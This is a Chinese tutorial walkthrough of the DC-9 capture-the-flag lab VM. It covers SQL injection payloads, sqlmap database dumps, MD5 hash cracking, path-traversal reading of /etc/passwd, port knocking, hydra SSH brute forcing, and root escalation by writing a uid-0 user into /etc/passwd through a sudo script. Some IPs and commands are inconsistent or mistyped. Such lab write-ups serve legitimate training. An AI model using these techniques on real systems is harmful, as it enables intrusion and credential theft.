DC-9

安装好DC-9靶机,对其进行如下编辑

dc 9飞机新手教程(DC-9靶场提权教程)(1)

配置好网络适配器后开启此虚拟机

dc 9飞机新手教程(DC-9靶场提权教程)(2)

之后我们打开kali,同样对其进行配置,选择NAT模式,然后开启kali

dc 9飞机新手教程(DC-9靶场提权教程)(3)

(账号为kali,密码为kali,如果最开始设置了自己的密码,就输入自己的密码)

我们先获取root权限,输入su root,password为123456(Linux内输入password是看不见的)

dc 9飞机新手教程(DC-9靶场提权教程)(4)

使用arp-scan-l进行扫描,获得靶机端口 192.168.126.133

dc 9飞机新手教程(DC-9靶场提权教程)(5)

获取靶机ip后再使用nmap进行扫描,获取操作系统,开放端口和对应服务等信息,输入命令nmap -T4 -A -p- 192.168.126.133

dc 9飞机新手教程(DC-9靶场提权教程)(6)

可以看见开放了80端口以及22端口处于filtered状态

(1、端口状态filtered:端口状态为filtered时,端口处于过滤状态。

2、端口状态closed:端口状态为closed时,端口处于关闭状态。)

这里就猜测可能是靶机应用了knockd服务把22端口关闭,需要访问特定的端口序列后才会开放22端口。

所以我们这里先使用80端口寻找突破口,在web中打开该网站

dc 9飞机新手教程(DC-9靶场提权教程)(7)

点击Display可以得到一些职员信息

dc 9飞机新手教程(DC-9靶场提权教程)(8)

点击Search可以看见有输入的地方

dc 9飞机新手教程(DC-9靶场提权教程)(9)

地址栏对应的文件为search.php

再点击manage,是一个登录页面,地址中的文件为manage.php,但是没有账号和密码

dc 9飞机新手教程(DC-9靶场提权教程)(10)

然后我们先在search页面试一下sql注入,看看是否存在注入漏洞,输入 1' or 1=1 # 点击【submit】提交,发现可以爆出用户数据

dc 9飞机新手教程(DC-9靶场提权教程)(11)

dc 9飞机新手教程(DC-9靶场提权教程)(12)

然后再次输入1' or 1=2#

dc 9飞机新手教程(DC-9靶场提权教程)(13)

发现没有搜索到任何结果,说明此处存在sql注入。

我们发现存在搜索页面存在SQL注入后,利用kali自带的burpsuite进行抓包

dc 9飞机新手教程(DC-9靶场提权教程)(14)

然后我们将其保存为一个文件,右键选择Copy to file

dc 9飞机新手教程(DC-9靶场提权教程)(15)

输入名字点击save进行保存

dc 9飞机新手教程(DC-9靶场提权教程)(16)

现在直接使用sqlmap工具来进行SQL注入攻击,先使用命令 sqlmap -l target --dump --batch

【-l 代表从burpsuite保存的文件中读取攻击目标,也可以用-r参数代替。

target 是刚刚用burpsuite保存的文件的名称。

–dump 代表读取数据库中所有内容

–batch 表示自动化运行,不会给出选项供用户选择。】

dc 9飞机新手教程(DC-9靶场提权教程)(17)

再使用sqlmap -u "http//192.168.126.133/results.php" -data "search=test" -dbs

dc 9飞机新手教程(DC-9靶场提权教程)(18)

等他运行结束可以看到最下面爆出了用户

dc 9飞机新手教程(DC-9靶场提权教程)(19)

接下来爆出字段,输入sqlmap -u "http://192.168.126.133/results.php" --data "search=test" -D Staff -T Users --columns

dc 9飞机新手教程(DC-9靶场提权教程)(20)

等运行结束翻到最下面,可以看见

dc 9飞机新手教程(DC-9靶场提权教程)(21)

最后爆出其账号密码,输入sqlmap -u "http://192.168.126.133/results.php" --data "search=test" -D Staff -T Users -C username,Password --dump

dc 9飞机新手教程(DC-9靶场提权教程)(22)

现在已经获取了admin的md5加密的密文856f5de590ef37314e7c3bdf6f8a66dc,尝试在https://www.somd5.com/破解该密码

dc 9飞机新手教程(DC-9靶场提权教程)(23)

dc 9飞机新手教程(DC-9靶场提权教程)(24)

现在已经获取了admin的密码transorbital1,登陆网站后台进行进一步渗透。

dc 9飞机新手教程(DC-9靶场提权教程)(25)

dc 9飞机新手教程(DC-9靶场提权教程)(26)

可以发现多了一个ADD选项

dc 9飞机新手教程(DC-9靶场提权教程)(27)

以及一个footer

dc 9飞机新手教程(DC-9靶场提权教程)(28)

想到这个可能是文件包含,输入http://192.168.9.75/welcome.php?file=../../../../etc/passwd

dc 9飞机新手教程(DC-9靶场提权教程)(29)

根据配置文件的显示,我们需要依次访问7469、8475、9842端口才能访问ssh服务。现在需要在本地安装 knockd程序,我们可以通过knockd程序对靶机的指定端口按顺序访问。(注意,ssh这里可能会限时,所以速度要快)

分别用nmap对其进行扫描

dc 9飞机新手教程(DC-9靶场提权教程)(30)

也可以使用for -x in 7469 8475 9842 ;do nc 192.168.126.133 $x;done

dc 9飞机新手教程(DC-9靶场提权教程)(31)

然后再重新扫描靶机端口

dc 9飞机新手教程(DC-9靶场提权教程)(32)

可以看见22端口已经开放,然后我们对其进行爆破

dc 9飞机新手教程(DC-9靶场提权教程)(33)

爆破前,我们需要准备一些字典,先利用sqlmap进行扫描

sqlmap -u "http://192.168.126.133/results.php" -data "search=1" -D users -T UserDetails -C "usersname" -dump

dc 9飞机新手教程(DC-9靶场提权教程)(34)

dc 9飞机新手教程(DC-9靶场提权教程)(35)

得到username后我们新建文件将其保存

dc 9飞机新手教程(DC-9靶场提权教程)(36)

同理,我们再次扫描password

输入sqlmap -u "http://192.168.126.133/results.php" -data "search=1" -D users -T UserDetails -C "password" -dump

dc 9飞机新手教程(DC-9靶场提权教程)(37)

dc 9飞机新手教程(DC-9靶场提权教程)(38)

同样对其进行保存

dc 9飞机新手教程(DC-9靶场提权教程)(39)

将所有账号保存在user.txt中,将所有密码保存在文件password.txt中。然后使用hydra对ssh进行爆破

hydra -L user.txt -P pass.txt ssh://192.168.126.133

dc 9飞机新手教程(DC-9靶场提权教程)(40)

得到3个可用账户,其中janitor是管理员账户,我们利用其进行登录

dc 9飞机新手教程(DC-9靶场提权教程)(41)

用ls命令查一下隐藏文件,进入该目录(选择这个目录是因为janitor比另外两个账户多出了的这个文件,因为前两个目录没有什么太大作用,所以此处没有演示,感兴趣的小伙伴可以自己去尝试一下),查看该文件,可以看见下面出来了好几个账号密码。

dc 9飞机新手教程(DC-9靶场提权教程)(42)

将这些密码加入之前创建的密码字典里面,然后再进行爆破一次。

dc 9飞机新手教程(DC-9靶场提权教程)(43)

再使用hydra工具进行爆破,命令hydra -L userx.txt -P passx.txt 192.168.172.148 ssh,发现又爆破出一个用户和密码

dc 9飞机新手教程(DC-9靶场提权教程)(44)

我们重新选择这个账号登录进去,使用sudo -l命令,发现这个脚本可以无密码以root用户权限执行,我们进入/opt/devstuff/dist/test目录下先看看有什么信息,全是文件,回到上一个目录查看也没什么,再回到上一个目录查在/opt/devstuff目录下发现了一个test.py脚本文件

dc 9飞机新手教程(DC-9靶场提权教程)(45)

dc 9飞机新手教程(DC-9靶场提权教程)(46)

利用cat命令查看后发现这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限

然后我们回到kali现在我们回到kali,使用openssl工具创建一个本地的加密用户,命令openssl passwd -1 -salt admin 123456

dc 9飞机新手教程(DC-9靶场提权教程)(47)

然后回到靶机,跳转到/opt/devstuff/dist/test目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,命令echo 'admin:admin$LClYcRe.ee8dQwgrFc5nz.0:0:0::/root:/bin/bash' >> /tmp/test1然后使用命令sudo ./test /tmp/test1 /etc/passwd使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中

dc 9飞机新手教程(DC-9靶场提权教程)(48)

然后使用命令su admin 切换到我们刚刚添加的账户,输入密码123456即可登录

(因为中途有一步实验中出了点意外,实验后来将admin改为了wulo,不同的小伙伴在创建用户时选择自己喜欢的名字即可,不一定要按admin来输入)

跳转到/root目录下,成功看见flag

dc 9飞机新手教程(DC-9靶场提权教程)(49)

,